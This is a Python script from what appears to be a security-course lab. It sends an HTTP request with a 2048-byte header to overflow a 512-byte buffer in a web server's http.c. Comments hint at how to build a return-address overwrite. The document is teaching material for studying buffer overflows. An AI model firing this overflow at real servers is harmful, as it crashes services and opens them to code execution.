exploit-2b.py

#!/usr/bin/python
"""
Overflowing the 'char value[512]' buffer in http.c:120.
"""
import sys
import socket
import traceback
import urllib
import struct

def build_exploit():
    ## Things that you might find useful in constructing your exploit:
    ##   urllib.quote(s)
    ##     returns string s with "special" characters percent-encoded
    ##   struct.pack("<I", x)
    ##     returns the 4-byte binary encoding of the 32-bit integer x
    ##   variables for program addresses (ebp, buffer, retaddr=ebp+4)
    return "GET / HTTP/1.0\r\n" + \
      "Faux-Header: " + (2048 * 'X') + "\r\n"

####

def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ""
    while len(rbuf):
      resp = resp + rbuf
      rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp

####

if len(sys.argv) != 3:
    print("Usage: " + sys.argv[0] + " host port")
    exit()

req = build_exploit()
print("HTTP request:")
print(req)

resp = send_req(sys.argv[1], int(sys.argv[2]), req)
print("HTTP response:")
print(resp)